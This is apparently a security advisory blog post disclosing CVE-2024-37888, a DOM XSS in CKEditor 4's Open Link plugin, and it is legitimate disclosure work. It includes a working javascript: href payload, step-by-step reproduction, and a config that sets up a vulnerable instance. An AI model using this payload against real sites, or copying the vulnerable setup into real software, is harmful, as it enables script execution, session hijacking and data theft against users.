The journey began with a pentest of an application utilizing CKEditor 4. During testing, it was noticed that links could be clicked within the editor space, contrary to the library’s intended behavior, which prevents it from clicking/opening hyperlinks directly inside the editor space. This anomaly led to further experimentation, revealing that the “href” attribute in link tags was not being properly sanitized. 

By using a payload like <a href="javascript:alert('XSS Found')">XSS</a>, a DOM XSS was triggered. Initially, it seemed this might be an existing vulnerability in the older CKEditor version in use. However, no similar CVEs were found, prompting a deeper investigation. 

A custom configuration file, config.js, was discovered and examined in the client-side scripts. It contained the following lines: 

config.extraPlugins = 'openlink'; 
 config.openlink_modifier = 0; // No modifier for opening links

These lines enabled the Open Link plugin, allowing links to be opened in new tabs from the editable area. Testing with the latest versions of CKEditor 4 and the Open Link plugin confirmed that the XSS vulnerability existed even in the latest versions. 

Exploitation Steps 

Below are the complete prerequisites and reproduction steps for CVE-2024-37888. 

Prerequisites 

1. CKEditor (version 4.*.*): Download 
2. Open Link Plugin (version < 1.0.5): Download 

Reproduction Steps 

This vulnerability can be reproduced using the pre-configured CKEditor 4 instance available here: https://7ragnarok7.github.io/CVE-2024-37888/ 

1. Insert Payload: 
   • Open the CKEditor instance and click on the “Source” icon.
   • Insert the following payload in the text area:
     <a href="javascript:alert('XSS Found')">XSS</a>

2. Switch to WYSIWYG Mode: 
   • Click on the “Source” icon again to switch back to the WYSIWYG mode.
   • Observe that the hyperlink becomes clickable inside the editor. 

3. Trigger XSS: 
   • Click on the hyperlink within the editor.
   • Observe that the XSS payload is triggered, resulting in an alert box in a new tab.

Setup Instructions 

You can set up a local instance to test this vulnerability by following these steps: 

1. Download CKEditor 4: 
   • Download the Full-Package Open-Source edition of CKEditor 4. 

2. Install Open Link Plugin: 
   • Download the Open Link plugin version 1.0.4 from here.
   • Extract and place the contents into the ckeditor/plugins/openlink directory. 

3. Update Configuration to Include OpenLink plugin: 
   • Modify the config.js file of CKEditor by appending the following lines to the end: 

config.extraPlugins = 'openlink'; 
config.linkShowTargetTab = false; // Hide link target tab 
config.openlink_modifier = 0; // No modifier for opening links 
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode

• Example config.js:

CKEDITOR.editorConfig = function( config ) { 
    // Define changes to default configuration here. 
    config.extraPlugins = 'openlink'; 
    config.linkShowTargetTab = false; 
    config.openlink_modifier = 0; 
    config.openlink_enableReadOnly = true; 
}; 

4. Include CKEditor in HTML: 
   • Ensure the CKEditor library is included in your HTML file. 

<!DOCTYPE html> 
<html> 
<head> 
    <script src="path/to/ckeditor/ckeditor.js"></script> 
</head> 
<body> 
    <textarea name="editor1" id="editor1"></textarea> 
    <script> 
        CKEDITOR.replace('editor1'); 
    </script> 
</body> 
</html> 

Conclusion 

The fix for this vulnerability is available starting with Open Link version 1.0.5. It is strongly advised that the Open Link plugin be updated to 1.0.5 or above as soon as possible. 

The official advisory by the Open Link plugin maintainer can be found here. 

Why Does It Matter? 

This vulnerability is significant because it highlights an oversight in a widely used editor. An attacker could exploit this flaw to execute arbitrary JavaScript in the victim’s browser, leading to various malicious activities such as session hijacking, defacement, or data theft. 

The discovery also underscores the importance of scrutinizing even well-established libraries and plugins. In this case, the combination of a popular editor and a lesser-known plugin created a security gap that had gone unnoticed. 

The discovery of CVE-2024-37888 serves as a reminder of the ever-present need for vigilance in software security. It also emphasizes the value of thorough testing and exploration when assessing applications. For more details on this vulnerability, check out the following resources: 

• GitHub Exploit: CVE-2024-37888 
• Official Advisory 
• NVD Entry 
• MITRE CVE Database 
• CVE Details 

The post CVE-2024-37888 – CKEditor 4 Open Link plugin XSS appeared first on NetSPI.